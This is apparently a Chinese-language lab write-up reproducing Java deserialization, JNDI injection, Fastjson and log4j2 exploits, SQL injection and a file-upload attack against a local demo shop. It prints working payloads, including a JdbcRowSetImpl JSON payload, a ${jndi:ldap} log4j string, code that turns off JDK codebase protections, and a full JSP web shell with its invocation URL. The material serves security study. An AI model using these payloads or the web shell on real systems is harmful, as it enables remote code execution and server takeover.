目录
一、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程
下载ysoserial的jar包:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
通过dnslog平台(如https://dnslog.org/)生成测试子域名
下载工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5
⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name
攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类
攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果
[三、Fastjson 反序列化漏洞复习](#三、Fastjson 反序列化漏洞复习)
[fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性](#fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性)
断点调试com.sun.rowset.JdbcRowSetImpl
setAutoCommit⽅法,调⽤了this.connect()
this.connect()⽅法,调⽤了InitialContext的lookup()方法,触发jdni注入
[四、log4j2 jndi注入漏洞复习](#四、log4j2 jndi注入漏洞复习)
原理说明:如下代码处打断点,可知会调用到loopup方法,触发jndi注入
五、搭建迷你天猫商城并复现fastjson、log4j2组件漏洞和sql注入和文件上传漏洞
执行sql文件创建数据库表:Tmall_demo-master\sqls\tmalldemodb.sql
[如果mysql 版本的>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错](#如果mysql 版本的>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错)
前台:http://localhost:8080/tmall/
[后台:http://localhost:8080/tmall/admin,账号密码为 admin 123456](#后台:http://localhost:8080/tmall/admin,账号密码为 admin 123456)
为复现漏洞,将fastjson版本更改为1.2.24,log4j版本更改为2.14.1
使用ip替换localhost访问网站,因burp抓不到localhost的包
查找漏洞利用代码:找到前台一处使用(url路径为orderItem)
使用burp抓包:访问页面,购物车页面提交订单,目标包出现
将包发到Repeater,更改orderItemMap的内容为
查找漏洞利用代码(参数可控,且为字符串),为上传头像的处理
将包发到repeater,修改filename为如下内容,重新发送,弹出计算器
查找漏洞利用代码:从dao层找到controller层(orderBy参数可控制才可以)
burp中找到相关数据包,发送到repeater,更改filename为demo.jsp,上传jsp文件成功
一、分析研究java反序列化漏洞原理并详细分析URLDNS链触发过程
java反序列化漏洞原理
###### 原理
1. 在Java中,序列化/反序列化操作主要由java.io.ObjectOutputStream.writeObject(Object) ⽅法和
java.io.ObjectInputStream.readObject()⽅法实现
2. 可通过实现Serializable接口并重写readObject()⽅法对⾃定义类对象进⾏反序列化,以完成更多操作
###### 代码示例
```java
package com.demo.hello;
import java.io.Serializable;
import java.io.*;
public class TestSer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 步骤一:将序列化内容写⼊⽂件
Test test = new Test("calc.exe");
FileOutputStream fos = new FileOutputStream("data.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(test);
oos.close();
fos.close();
// 步骤二:从⽂件中读取并反序列化
FileInputStream fio = new FileInputStream("data.ser");
ObjectInputStream ois = new ObjectInputStream(fio);
Test bbbb = (Test)ois.readObject();
ois.close();
fio.close();
System.out.println(bbbb);
}
}
class Test implements Serializable {
private String cmd;
public Test(String cmd) {
this.cmd = cmd;
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
//重写readObject()⽅法
private void readObject(java.io.ObjectInputStream in) throws Exception
{
in.defaultReadObject();
System.out.println("当前命令是:"+cmd);
java.lang.Runtime.getRuntime().exec(cmd);//触发代码执⾏,模拟调⽤链
}
}
```
###### 代码执行结果
分析URLDNS链触发过程
###### 演示:使⽤ysoserial⽣成URLDNS链
1.
###### 下载ysoserial的jar包:[https://github.com/frohoff/ysoserial/releases/tag/v0.0.6](https://github.com/frohoff/ysoserial/releases/tag/v0.0.6 "https://github.com/frohoff/ysoserial/releases/tag/v0.0.6")
2.
###### 通过dnslog平台(如[https://dnslog.org/](https://dnslog.org/ "https://dnslog.org/"))生成测试子域名
3.
###### 使⽤ysoserial⽣成URLDNS链
4.
###### 执行上述java反序列化的步骤二
5.
###### 查询子域名请求结果:有被代码请求
###### 分析URLDNS链触发过程
1.
###### 关键代码:可在此四处打断点。调试代码发现会执行到这些地方
2.
###### 代码分析
1. hashmap 的put⽅法:会调⽤hash⽅法,然后调用hashcode方法
2. hashcode⽅法:如果hashcode值不为-1,则直接返回,当为-1时,进⼊类对象的Handler⽅法
3. Handler⽅法:调⽤了getHostAddress,此方法会发起dns请求
二、JNDI注入漏洞原理分析复习
代码演示
###### 下载工具:[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5 "https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.5")
###### 示例代码
```java
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
//解除⾼版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/remoteExploit8";
//String uri = "ldap://127.0.0.1:1389/remoteExploit8";
InitialContext ctx = new InitialContext();
//当uri可控,就会造成jndi注⼊漏洞
ctx.lookup(uri);
}
}
```
###### 执行工具命令(jdk版本:jdk1.8.0_291)
```java
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
```
###### 
###### 运行代码:执行了命令
原理分析
###### ⽬标代码中调⽤了InitialContext.lookup(URI),且URI为⽤户可控
###### 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server/name
###### 攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类
###### ⽬标在进⾏lookup()操作时,会先查找本地是否存在,不存在的话则根据Reference对象信息动态加载并实例化Factory类,接着调⽤factory对象的getObjectInstance()⽅法获取外部远程对象实例
###### 攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果
三、Fastjson 反序列化漏洞复习
代码示例
###### pom增加依赖
```java
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
```
###### Student类
```java
package org.example;
public class Student {
private int age;
private String name;
public Student(){
};
public Student(String name,int age){
this.name=name;
this.age=age;
}
public int getAge() {
System.out.println("调⽤了getAge");
return age;
}
public void setAge(int age) {
System.out.println("调⽤了setAge");
this.age = age;
}
public String getName() {
System.out.println("调⽤了getName");
return name;
}
public void setName(String name) {
System.out.println("调⽤了setName");
this.name = name;
}
@Override
public String toString(){
return "{\"name\":\""+name+'\"'+",\"age\":"+age+'}';
}
}
```
###### FastJsonJNDI类
```java
package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonJNDI {
public static void main(String[] args) {
/* // 序列化
Student student = new Student("Christ1na",20);
String s1 = JSON.toJSONString(student);
*/
// 反序列化
String s= "{\"@type\":\"org.example.Student\",\"age\":20,\"name\":\"Christ1na\"}";
Object parse = JSON.parse(s);
System.out.println(parse);
System.out.println(parse.getClass().getName());
//解除⾼版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// JNDI漏洞
String jndi = "{\n" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\"dataSourceName\":\"ldap://127.0.0.1:1389/remoteExploit8\",\n" +
"\"autoCommit\":true\n" +
"}";
JSON.parse(jndi);
}
}
```
代码执行
###### 执行工具命令(同题目二)
```java
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
```
###### 运行代码
原理说明
###### fastjson在解析json对象时,会默认使⽤ @type 实例化某⼀个具体的类,并调⽤set/get⽅法访问属性
###### 断点调试com.sun.rowset.JdbcRowSetImpl
1.
###### setAutoCommit⽅法,调⽤了this.connect()
2.
###### this.connect()⽅法,调⽤了InitialContext的lookup()方法,触发jdni注入
四、log4j2 jndi注入漏洞复习
代码示例
###### pom增加依赖
```java
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
```
###### Log4j2JNDI类
```java
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2JNDI {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
//解除⾼版本jdk安全限制
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
log.error("${jndi:ldap://127.0.0.1:1389/remoteExploit8}");
}
}
```
代码执行
###### 执行工具命令(同题目二)
```java
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
```
###### 运行代码
原理说明:如下代码处打断点,可知会调用到loopup方法,触发jndi注入
###### MessagePatternConverter
###### StrSubstitutor
五、搭建迷你天猫商城并复现fastjson、log4j2组件漏洞和sql注入和文件上传漏洞
搭建迷你天猫商城
###### 下载源码
```java
https://gitee.com/project_team/Tmall_demo/repository/archive/master.zip
```
###### 解压,使用idea打开,等待maven依赖加载完成
###### 数据库
1.
###### 执行sql文件创建数据库表:Tmall_demo-master\\sqls\\tmalldemodb.sql
2.
###### 如果mysql 版本的\>5.7,需在my.ini的mysqld下增加如下配置并重启mysql,否则登陆后台可能会报错
```java
sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION
```
###### 启动项目
###### 访问站点
1.
###### 前台:[http://localhost:8080/tmall/](http://localhost:8080/tmall/ "http://localhost:8080/tmall/")
2.
###### 后台:[http://localhost:8080/tmall/admin](http://localhost:8080/tmall/admin "http://localhost:8080/tmall/admin"),账号密码为 admin 123456
复现漏洞
###### 说明
1.
###### 为复现漏洞,将fastjson版本更改为1.2.24,log4j版本更改为2.14.1
2.
###### 重新加载maven项目
3.
###### 启动配置中增加此配置,重启项目
```java
com.sun.jndi.ldap.object.trustURLCodebase
```

4.
###### 使用ip替换localhost访问网站,因burp抓不到localhost的包
5.
###### 执行工具命令(同题目二,执行过则无需执行)
```java
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
```
###### fastjson
1.
###### 查找漏洞利用代码:找到前台一处使用(url路径为orderItem)
2.
###### 使用burp抓包:访问页面,购物车页面提交订单,目标包出现
3.
###### 将包发到Repeater,更改orderItemMap的内容为
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/remoteExploit8",
"autoCommit":true
}
4.
###### 重新发包,弹出计算器
###### log4j2
1.
###### 查找漏洞利用代码(参数可控,且为字符串),为上传头像的处理
2.
###### 进入个人中心页,上传头像,burp中找到相应包
3.
###### 将包发到repeater,修改filename为如下内容,重新发送,弹出计算器
```java
${jndi:ldap://127.0.0.1:1389/remoteExploit8}
```

###### sql注入
1.
###### 查找漏洞利用代码:从dao层找到controller层(orderBy参数可控制才可以)
2.
###### 打开相关url的页面
3.
###### 使用sqlmap扫描此url,爆库成功
###### 文件上传
1.
###### 查找漏洞利用代码:发现更换用户头像处没有验证文件扩展名
2.
###### 编写jsp一句话文件,命名为demo.jpg
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
DataInputStream dis = new DataInputStream(proc.getInputStream());
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
```
3.
###### 进入个人中心,上传demo.jpg
4.
###### burp中找到相关数据包,发送到repeater,更改filename为demo.jsp,上传jsp文件成功
5.
###### 访问此jsp文件,执行命令成功
```java
http://yourIp:8081/tmall/res/images/item/userProfilePicture/yourFileName.jsp?cmd=calc
```
